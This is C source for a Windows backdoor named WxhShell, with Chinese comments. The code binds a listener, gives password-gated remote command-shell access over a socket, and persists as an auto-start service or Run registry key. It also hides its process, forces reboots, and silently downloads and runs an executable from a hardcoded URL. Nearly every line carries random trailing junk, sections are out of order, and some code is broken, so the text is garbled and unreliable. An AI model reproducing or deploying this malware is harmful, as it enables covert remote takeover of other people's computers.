    if(Boot(SHUTDOWN)) yB UQ!4e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Q"andf  
    else { 6$urrSQ`N0  
    closesocket(wsh); nwFBuP<LR  
    ExitThread(0); @z1QoZ^w  
    } \zBi-GI7  
    break; 1&boD\ 7  
    } \CjJa(vV  
  // 获取shell w}3N!jNDv  
  case 's': { X _ZO)|  
    CmdShell(wsh); D6bYg `  
    closesocket(wsh); |+ F ~zIu'  
    ExitThread(0); 5P!ZGbG  
    break; +e{ui +  
  } fd'kv  
  // 退出  S_P&Fv  
  case 'x': { w;O-ATUzN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wn[)/*(,$(  
    CloseIt(wsh); *Jsb~wta  
    break; h#YO;m2wd  
    } RTmp$lV  
  // 离开 t\Vng0  
  case 'q': { )E9!m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2.v{W-D[  
    closesocket(wsh); Ae>+Fcv  
    WSACleanup(); poQ_r <I  
    exit(1); ^#R`Uptib  
    break; +f/ I>9G  
        } Z<X=00,wg  
  } eK7A8\;e  
  } y0xBNhev  
>=N-P< %  
  // 提示信息 ~5P9^`KNH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }097[-g7  
} v2;E Wp  
  } 'zUV(K?2]  
cEL:5*cAU}  
  return; ?}?"m:=  
} [icD*N<Gc  
x#0?$}f<  
// shell模块句柄 '4'Z  
int CmdShell(SOCKET sock) 0|AgmW_7 .  
{ yJ?=##  
STARTUPINFO si; PysDDU}v  
ZeroMemory(&si,sizeof(si)); fu!T4{2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w9|x{B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c+FTt(\8.  
PROCESS_INFORMATION ProcessInfo; .n7@$kq  
char cmdline[]="cmd"; Q:P)g#suc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %6Gg&Y$j!  
  return 0; _HwA%=>7  
} ~R|9|k  
Tt: (l/1  
// 自身启动模式 2;Z 0pPR&  
int StartFromService(void) r?DCR\Jq  
{ 'l'3&.{Yfk  
typedef struct :ts3_-cr  
{ xT> 9ZZcE  
  DWORD ExitStatus; V|YQhd0kv  
  DWORD PebBaseAddress; 89M'klZ   
  DWORD AffinityMask; Q/|.=:~FO  
  DWORD BasePriority; m1W) PUy  
  ULONG UniqueProcessId; ?M:>2wl  
  ULONG InheritedFromUniqueProcessId;  /b=C  
}   PROCESS_BASIC_INFORMATION; a"@f< wU~  
N:lE{IvRJ  
PROCNTQSIP NtQueryInformationProcess; ,V1"Typ#<  
wNmpUO ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~xqiasE#K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w+6P x#  
`NtW+v  
  HANDLE             hProcess; vEI{AmogRx  
  PROCESS_BASIC_INFORMATION pbi; c0o]O[  
.=eEuH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  dfFw6R  
  if(NULL == hInst ) return 0; c'Z=uL<Rm  
O>DS%6/G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y]Nk^ga:U6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =q VT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HO<|EH~lu  
I(M/ X/  
  if (!NtQueryInformationProcess) return 0; 336ETrG^0  
s)WA9PiC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~\am%r>  
  if(!hProcess) return 0; RG'iWA,9m`  
C+' -TLeu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ChK-L6  
(xo`*Q,+  
  CloseHandle(hProcess); LAC&W;pJ"  
!yv>e7g^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1@Jp3wW  
if(hProcess==NULL) return 0; M-t 9M~  
,P9F*;Dj  
HMODULE hMod; n$2oM5<  
char procName[255]; WK$\#>T  
unsigned long cbNeeded; 3VLwY!2:  
6,5h4[eF*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o}Grb/LJ  
8y27O  
  CloseHandle(hProcess); 'xta/@Sq  
''auu4vF  
if(strstr(procName,"services")) return 1; // 以服务启动 K/zb6=->  
zr!7*, p  
  return 0; // 注册表启动 OB.rETg  
} yBy7d!@2  
tU?BR<q  
// 主模块 dU3A:uS^  
int StartWxhshell(LPSTR lpCmdLine) T^4 dHG-(  
{ ;B@#,6t/  
  SOCKET wsl; \:+\H0Bz  
BOOL val=TRUE; :!_l@=l  
  int port=0; R3G\Gchd  
  struct sockaddr_in door; f" Iui  
2|j=^  
  if(wscfg.ws_autoins) Install(); t]SB .ja  
-+[Lc_oNPx  
port=atoi(lpCmdLine); X| \`\[  
:;_}Gxx  
if(port<=0) port=wscfg.ws_port; B& @ pZYl  
81E EYf  
  WSADATA data; ,f^fr&6jb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v7pu  
(2eS:1+'8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z7bJ<TpZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?wHhBh-Q  
  door.sin_family = AF_INET; 85!]N F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7RDmvWd-'?  
  door.sin_port = htons(port); H{n:R *  
no8\Oees  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "_&ZRcd*  
closesocket(wsl); Y$>NsgQn6  
return 1; <-.@,HQ+  
} z6)N![ X  
UJ,vE}=_{  
  if(listen(wsl,2) == INVALID_SOCKET) { oaQW~R`_  
closesocket(wsl); (eF[nfM  
return 1; {F wvuk  
} F^/KD<cgK  
  Wxhshell(wsl); ^B1Ft5F`b  
  WSACleanup(); i!%WEHPe  
w)ki<Dudg  
return 0; ulzX$  
gIrbOMQ7  
} hV~M!vFxA  
sg=G<50i  
// 以NT服务方式启动 xxs +=.2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %l8!p'a  
{ LBq2({="  
DWORD   status = 0; ftpPrtaP  
  DWORD   specificError = 0xfffffff; a+HK fK  
O#k; O*s'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |= cc>]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SZXSVz0j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6:wk=#w  
  serviceStatus.dwWin32ExitCode     = 0; g$NUu  
  serviceStatus.dwServiceSpecificExitCode = 0; r^6@Zwox]  
  serviceStatus.dwCheckPoint       = 0; 6fw7\u  
  serviceStatus.dwWaitHint       = 0; C!:Lk,Z  
j*>Df2z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]*P9=!x|M  
  if (hServiceStatusHandle==0) return; gHc1_G]  
;:Z5Ft m  
status = GetLastError(); iT:i '\~  
  if (status!=NO_ERROR) ]2l}[ w71|  
{ "8%$,rG1&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %Mj,\J!  
    serviceStatus.dwCheckPoint       = 0; aAe`o2Xs  
    serviceStatus.dwWaitHint       = 0; <.Zh{"$qo  
    serviceStatus.dwWin32ExitCode     = status; OK v2..8  
    serviceStatus.dwServiceSpecificExitCode = specificError; J-/w{T8:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R`]@.i4tt  
    return; /:]<z6R  
  } cz,CL/rno  
?{aC-3VAT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uDND o  
  serviceStatus.dwCheckPoint       = 0; Ce-= -  
  serviceStatus.dwWaitHint       = 0; Pk;/4jt4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $}vzBuWHwN  
} j^#p#`m  
md<^x(h"<  
// 处理NT服务事件,比如:启动、停止 mS[``$Z\!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #lMcAYH,  
{ ;`^_9 K  
switch(fdwControl) x-c5iahp'  
{ \]4EAKJE  
case SERVICE_CONTROL_STOP: =v^#MU{k?  
  serviceStatus.dwWin32ExitCode = 0; C-S>'\ |8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k62s|VeU  
  serviceStatus.dwCheckPoint   = 0; m-$}'mEO  
  serviceStatus.dwWaitHint     = 0; EpO2%|@  
  { @5wc 3y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "f 89   
  } CyLwCS{V\  
  return; d+G%\qpzQ  
case SERVICE_CONTROL_PAUSE: @:RoYvk$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dqo#+_v  
  break; X+sKG5nS  
case SERVICE_CONTROL_CONTINUE: m5 sW68  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V-7l+C5  
  break; uvJHkAi  
case SERVICE_CONTROL_INTERROGATE: tz2=l.1  
  break; 7omHorU+  
}; ),vDn}>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d)V8FX,t  
} Wk7E&?-:6  
hDTC~~J/  
// 标准应用程序主函数 .]h/M,xg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lCUYE"o  
{  !AJkd.  
f6K.F  
// 获取操作系统版本 vGlVr.)  
OsIsNt=GetOsVer(); (/<Nh7C1c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); awo'#Y2>  
*<S>PbqLw  
  // 从命令行安装 , @UOj=  
  if(strpbrk(lpCmdLine,"iI")) Install(); +kd1q  
I;"pPJ3G  
  // 下载执行文件 d'Bxi"K  
if(wscfg.ws_downexe) { 8#JX#<HEo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TW>GYGz  
  WinExec(wscfg.ws_filenam,SW_HIDE); w!H(zjv&(  
} &*" *b\  
LA_{[VWYp>  
if(!OsIsNt) { \~A qA!)6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^CLQs;zXE  
HideProc(); s !?uLSEdb  
StartWxhshell(lpCmdLine); L(C`<iE&3  
} ;AJQ2  
else 8Yk*$RR9  
  if(StartFromService()) U!-Nx9  
  // 以服务方式启动 E\DA3lq  
  StartServiceCtrlDispatcher(DispatchTable); iii|;v ]+  
else Z5(9=8hB/  
  // 普通方式启动 X-nC2[tu'W  
  StartWxhshell(lpCmdLine); mj$Ucql  
6 /YJA*  
return 0; Le?g ,c  
} >Y8\f:KQ  
uarfH]T{  
' m~=sC_uL  
9h6Oq(0b8  
=========================================== .,z6a  
(o IGp  
|?VJf3 A  
-GFZFi  
;<Z6Y3>I8  
H}kSXKO8!8  
" MuOKauYa  
3%?tUt  
#include <stdio.h> }~+,x#  
#include <string.h> 131(0nl)=I  
#include <windows.h> xrvM}Il  
#include <winsock2.h> 1Zn8CmE V  
#include <winsvc.h> R`c[ ?U  
#include <urlmon.h> DNq(\@x[!  
s*la`(x  
#pragma comment (lib, "Ws2_32.lib") l[:Aq&[o3  
#pragma comment (lib, "urlmon.lib") 1}a4AGAp  
~x8nC%qPvq  
#define MAX_USER   100 // 最大客户端连接数 i:aW .QZ.  
#define BUF_SOCK   200 // sock buffer v5'`iO0o  
#define KEY_BUFF   255 // 输入 buffer G*+^b'7  
mTI`^e  
#define REBOOT     0   // 重启 nI]EfHU  
#define SHUTDOWN   1   // 关机 <7Pp98si,u  
\fTQNF  
#define DEF_PORT   5000 // 监听端口 !\4B.  
#}y8hzS$  
#define REG_LEN     16   // 注册表键长度 %\<b{x# G  
#define SVC_LEN     80   // NT服务名长度 kd^H}k  
B ktRA  
// 从dll定义API SdYf^@%}F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =${.*,o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qh&Qsyo%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b*?u+tWP_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?p@J7{a  
`5@F'tKQ  
// wxhshell配置信息 K{ar)_V/  
struct WSCFG { .c-a$39  
  int ws_port;         // 监听端口 @p*)^D6E\  
  char ws_passstr[REG_LEN]; // 口令 u5A?; a  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;9k>; g3m  
  char ws_regname[REG_LEN]; // 注册表键名 9(TGkz(NA  
  char ws_svcname[REG_LEN]; // 服务名 IANSpWea?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I2*rtVAP'j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zw+aZDcV(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >E+g.5 ,:W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W#<1504ip  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'M>m$cCMZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aq$ hE-{28  
:/|"db&`  
}; RA[j=RxK  
V+Tv:a  
// default Wxhshell configuration t 6nRg  
struct WSCFG wscfg={DEF_PORT, P'U2hCif  
    "xuhuanlingzhe", @ye!? %  
    1, %BGg?&  
    "Wxhshell", v,ssv{gU  
    "Wxhshell", *7Q6b 4~"  
            "WxhShell Service", xW`y7Q}p  
    "Wrsky Windows CmdShell Service", \Vf:/9^  
    "Please Input Your Password: ", g&FTX>wX  
  1, g.Xk6"kO  
  "http://www.wrsky.com/wxhshell.exe", jCJcVO>OZ  
  "Wxhshell.exe" DRQx5fgL  
    }; J |q(HpB  
#; ?3k uq(  
// 消息定义模块 xrkl)7;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E7A!,A&>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m]2xOR_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {Uw 0zC  
char *msg_ws_ext="\n\rExit."; =D/zC'l  
char *msg_ws_end="\n\rQuit."; O6;"cUv  
char *msg_ws_boot="\n\rReboot..."; tON>wmN  
char *msg_ws_poff="\n\rShutdown..."; tVn?cS  
char *msg_ws_down="\n\rSave to "; R7bG!1SHl  
/g<Oh{o8  
char *msg_ws_err="\n\rErr!"; xN-,gT'!  
char *msg_ws_ok="\n\rOK!"; g5B TZZ  
SQ>i:D;  
char ExeFile[MAX_PATH]; SL4?E<Jb  
int nUser = 0; qG6s.TcG  
HANDLE handles[MAX_USER]; :k/Xt$`  
int OsIsNt; 2 kDsIEA  
`} PYltW  
SERVICE_STATUS       serviceStatus; 7s(tAbPdB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 92DM1~ *  
ss)x fG  
// 函数声明 f4f2xe7\Q  
int Install(void); S!b18|o"  
int Uninstall(void); 5Kg'&B (  
int DownloadFile(char *sURL, SOCKET wsh); @oAz  
int Boot(int flag); SB\%"nnV  
void HideProc(void); jn2=)KBa_  
int GetOsVer(void); A"V mxP  
int Wxhshell(SOCKET wsl); >7>I1  
void TalkWithClient(void *cs); AYbO~_a\N  
int CmdShell(SOCKET sock); eQbHf  
int StartFromService(void); +Y%6y]8  
int StartWxhshell(LPSTR lpCmdLine); y"q aa  
[r/zBF-.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &P?2H66s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _>- D*l  
(9'^T.J  
// 数据结构和表定义 7{|QkTgC  
SERVICE_TABLE_ENTRY DispatchTable[] = WUYI1Ij;  
{ $O%{l.-O  
{wscfg.ws_svcname, NTServiceMain}, OBWWcL-  
{NULL, NULL} Y 2 @8B6  
}; Pv'Q3O2<I  
?"d$SK"6Z  
// 自我安装 IP62|~Ap  
int Install(void) YQ+hQ:4-  
{ ]i*ucW4  
  char svExeFile[MAX_PATH]; (GSP3KKo*G  
  HKEY key; Cu[-<>my  
  strcpy(svExeFile,ExeFile); s*izhjjX  
0* $w(*  
// 如果是win9x系统,修改注册表设为自启动 ?%s>a8w  
if(!OsIsNt) { x}] 56f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BN_h3|)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |9I)YD  
  RegCloseKey(key); ~ nsb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4V,.Oi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  $GJT  
  RegCloseKey(key); x|6]+?l@6  
  return 0; '.mepxf< f  
    } k +-w%  
  } _[2@2q0  
} S&-K!XyJ  
else { x;/LOa{LR  
?E([Nc0T  
// 如果是NT以上系统,安装为系统服务 |YJ83nSO~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]O@$}B];)  
if (schSCManager!=0) qLN\%}69/  
{ A]z*#+Sl  
  SC_HANDLE schService = CreateService 7>E.0DP  
  ( K;?D^n.  
  schSCManager, HK@ij,px  
  wscfg.ws_svcname, .Bm%  
  wscfg.ws_svcdisp, [xMa^A>p  
  SERVICE_ALL_ACCESS, g*Y, .  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $T'!??|IF  
  SERVICE_AUTO_START, 6Z2,:j;  
  SERVICE_ERROR_NORMAL,  7GgZ: $d  
  svExeFile, N^Re  
  NULL, `AJ[g>py^|  
  NULL, b^1QyX^?:  
  NULL, eVXXn)>  
  NULL, g52a vG  
  NULL L44m!%q  
  ); I.<c{4K5  
  if (schService!=0) 2{OR#v~  
  { P6:C/B  
  CloseServiceHandle(schService); sXIYl% d  
  CloseServiceHandle(schSCManager); u!_l/'\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >L7s[vKn  
  strcat(svExeFile,wscfg.ws_svcname); COrk (V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rr )+M3'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jz@~$L  
  RegCloseKey(key); ?8b19DMK6  
  return 0; n>M`wF>  
    } .w2ID  
  } .Mt3e c<  
  CloseServiceHandle(schSCManager); TktH28tK  
} R@vcS=m7  
} kBu{ bxL  
f-b],YE  
return 1; ,?fJ0n:!%  
} u^80NR  
tdy2ZPVtTV  
// 自我卸载 mDB  
int Uninstall(void) V>Wk\'h  
{ +# W94s~0V  
  HKEY key; Gz[yD ~6a  
aB9!}3@  
if(!OsIsNt) { ud1M-lY\U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Eao|;  
  RegDeleteValue(key,wscfg.ws_regname); \CbJU  
  RegCloseKey(key); UtZ,q!sg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p9(y b  
  RegDeleteValue(key,wscfg.ws_regname); >| R'dF}  
  RegCloseKey(key); Wa_qD  
  return 0; YG p+[|'  
  } tK#R`AQ  
} C* 7/iRe  
} {z#2gc'Q  
else { #/)t]&n  
C8N)!5(A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r"h;JC/&<T  
if (schSCManager!=0) {$*N1$(%  
{ ).k DY ?s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @-N` W9  
  if (schService!=0) e[S`Dm"i)'  
  { Wx0i_HFR  
  if(DeleteService(schService)!=0) { CA#g(SiZ  
  CloseServiceHandle(schService); q=3>ij {v  
  CloseServiceHandle(schSCManager); (m3hD)!+y  
  return 0; P3Ql[ 2  
  } #R5\k-I  
  CloseServiceHandle(schService); "=a3"/u  
  } XH%pV  
  CloseServiceHandle(schSCManager); i\CA6I  
} !*v% s  
} P|Aac,nE+^  
<.)=CK  
return 1; >7BP}5`.;  
} _\>y[e["p  
b%lB&}uw}  
// 从指定url下载文件 *fm?"0M5  
int DownloadFile(char *sURL, SOCKET wsh) 8fqabR  
{ bkJ bnW=  
  HRESULT hr; z<eu=OD4t  
char seps[]= "/"; +c_AAMe  
char *token; )>M L7y  
char *file; Vs 5 &X+k  
char myURL[MAX_PATH]; 7=fM}sk  
char myFILE[MAX_PATH]; j#f/M3  
D#<y pJR  
strcpy(myURL,sURL); %ZoJu  
  token=strtok(myURL,seps); "22./vWV|i  
  while(token!=NULL) b]]k\b  
  { TzC(YWt  
    file=token; lB27Z}   
  token=strtok(NULL,seps); I~l_ky|a !  
  } ZTTA??}Y  
]MYbx)v)  
GetCurrentDirectory(MAX_PATH,myFILE); 0c>>:w20D  
strcat(myFILE, "\\"); "dCIg{j   
strcat(myFILE, file); Sp[9vlo8  
  send(wsh,myFILE,strlen(myFILE),0); v Z10Rb8  
send(wsh,"...",3,0); 9]3l'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .U(6])%;@  
  if(hr==S_OK) *4~7p4 [  
return 0; L^e*_q2d:>  
else eQQVfEvS  
return 1; `x=kb;  
_3 [E$Lg  
} m:Rx<E E  
!& c%!*  
// 系统电源模块 nxN("$'cq  
int Boot(int flag) jEKa9rt  
{ +PYR  
  HANDLE hToken; QqL?? p-S>  
  TOKEN_PRIVILEGES tkp; B#."cg4VR  
2;]tItd1  
  if(OsIsNt) { -T+yS BO_3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %/zHL?RqJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0D:uM$ i]  
    tkp.PrivilegeCount = 1; akw:3+`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -C^qN7Bz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [9?]|4  
if(flag==REBOOT) { :x q^T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y3*IF2G  
  return 0; b<fN,U< k  
} .*k!Zl*  
else { 1slt[&4N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dFeGibI{  
  return 0; ]Gl_L7u`  
} ,_,7c or  
  } ICoZ<;p  
  else { 9LQy 0Gx  
if(flag==REBOOT) { 7({.kD6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TuMZHB7h;  
  return 0; :\#]uDT2=  
} [t^%d9@t  
else { jaThS!>v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /C<} :R  
  return 0; YS"76FJ  
} /? j^Qu  
} 8HO)",+I  
zJ0'KHF}o  
return 1; 8/34{2048  
} nDC5/xB  
qmnCa&C9  
// win9x进程隐藏模块 RDG,f/L2  
void HideProc(void) I@a7!ugU65  
{ XeBSHvO_  
;`bJgSCfo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MD:kfPQ  
  if ( hKernel != NULL ) X>jwjRK $  
  { q33!X!br  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6a`_i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kLY9#p=X  
    FreeLibrary(hKernel); \t&6$"n(B6  
  } I|[aa$G  
?yz}  
return; NOmSLIgt7  
} j1toV$)P  
1/q iE{NW  
// 获取操作系统版本 }Lwj~{  
int GetOsVer(void) **YNR:#Y  
{ RZE:WE;5  
  OSVERSIONINFO winfo; PZA;10z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $j}sxxTT  
  GetVersionEx(&winfo); e$(i!G)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7 -V_)FK2c  
  return 1; f4T-=` SO  
  else ELNA-ZKp  
  return 0;  WU,72g=  
} $t </{]iX  
qXW2a'~  
// 客户端句柄模块 2|w.A!  
int Wxhshell(SOCKET wsl) u&I~%s  
{ ~(0Y`+gC  
  SOCKET wsh; j'0*|f^z  
  struct sockaddr_in client; /0YNB)  
  DWORD myID; vDOeBw=  
IO_H%/v"jC  
  while(nUser<MAX_USER) 7erao-  
{ .}y Lz  
  int nSize=sizeof(client); #WpO9[b>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A8eli=W  
  if(wsh==INVALID_SOCKET) return 1; SS~Txt75m  
yxQAO_C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \&qVr1|  
if(handles[nUser]==0) ?R{?Qv  
  closesocket(wsh); 0_y%Qj^e  
else a m zw  
  nUser++; ;09J;sf  
  } |]\bgh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +[ }]a3)  
/~tfP  
  return 0; 6k3l/~R  
} fAUsJ[  
s* YFN#Wuc  
// 关闭 socket ujWHO$uz!  
void CloseIt(SOCKET wsh) S@"=,Xj M  
{ K ;xW/7?  
closesocket(wsh); sBu"$ "]  
nUser--; hA\8&pI;  
ExitThread(0); yRi/YR#  
} # nYGKZ  
qiF~I0_0  
// 客户端请求句柄 xNqQbk F  
void TalkWithClient(void *cs) A0X0t  
{ tB3CX\e  
n*6s]iG V  
  SOCKET wsh=(SOCKET)cs; `U1%d7[vY  
  char pwd[SVC_LEN]; S&uL9)Glb  
  char cmd[KEY_BUFF]; x[^A9  
char chr[1]; r;T/  
int i,j; QF;<%QF:  
NU(/Yit  
  while (nUser < MAX_USER) { h{xER IV1u  
?-84_i  
if(wscfg.ws_passstr) { ,] {NZ9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EXFxiw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rYS D-Kq  
  //ZeroMemory(pwd,KEY_BUFF); *f#4S_ws`  
      i=0; "AK3t' jF*  
  while(i<SVC_LEN) { jr l6):x  
E\*",MGL  
  // 设置超时 9cmJD5OO  
  fd_set FdRead; n1/lE)  
  struct timeval TimeOut; Wkk Nyg,  
  FD_ZERO(&FdRead); 1;gSf.naG  
  FD_SET(wsh,&FdRead); 2!otVz! Mh  
  TimeOut.tv_sec=8; ">QY'r  
  TimeOut.tv_usec=0; bgK(l d`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rpT<cCem1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N]<gHGj}  
C|J1x4sb@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 85{vz|(':  
  pwd=chr[0]; ~&/Gx_KU  
  if(chr[0]==0xd || chr[0]==0xa) { _z5CplO  
  pwd=0; C|zH {.H  
  break; L K~,  
  } ?mAw"Rb!  
  i++; LG|,g3&  
    } c6m,oS^  
w;$+7  
  // 如果是非法用户,关闭 socket qU n>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ui{_w @o  
} {LD8ie|x1`  
KTEis!w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VT7NWT J,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "'#Hh&Us  
&Kp+8D*  
while(1) { _D4}[`  
S%fBt?-Cm  
  ZeroMemory(cmd,KEY_BUFF); 7dJaWD:&   
!v L :P2  
      // 自动支持客户端 telnet标准   8W>l(w9M  
  j=0; dSZ#,Ea"  
  while(j<KEY_BUFF) { //@=Q!MW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m6cW  
  cmd[j]=chr[0]; [AzN&yACE  
  if(chr[0]==0xa || chr[0]==0xd) { fNJ;{&#  
  cmd[j]=0; %p60pn[(  
  break; 1F,_L}=o1s  
  } y21uvp'  
  j++; 2AW{qwk7  
    } q_&IZ,{Vk  
*~uuCLv_  
  // 下载文件 \pGO}{3 e*  
  if(strstr(cmd,"http://")) { uCfp+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;/T-rVND  
  if(DownloadFile(cmd,wsh)) ,-Nk-g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <R>ZG"m{  
  else _[o^23Hj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ig KAD#2a  
  } r_E)HL/A  
  else { :Qo  
30E v"  
    switch(cmd[0]) { 34Khg  
  +yH~G9u(  
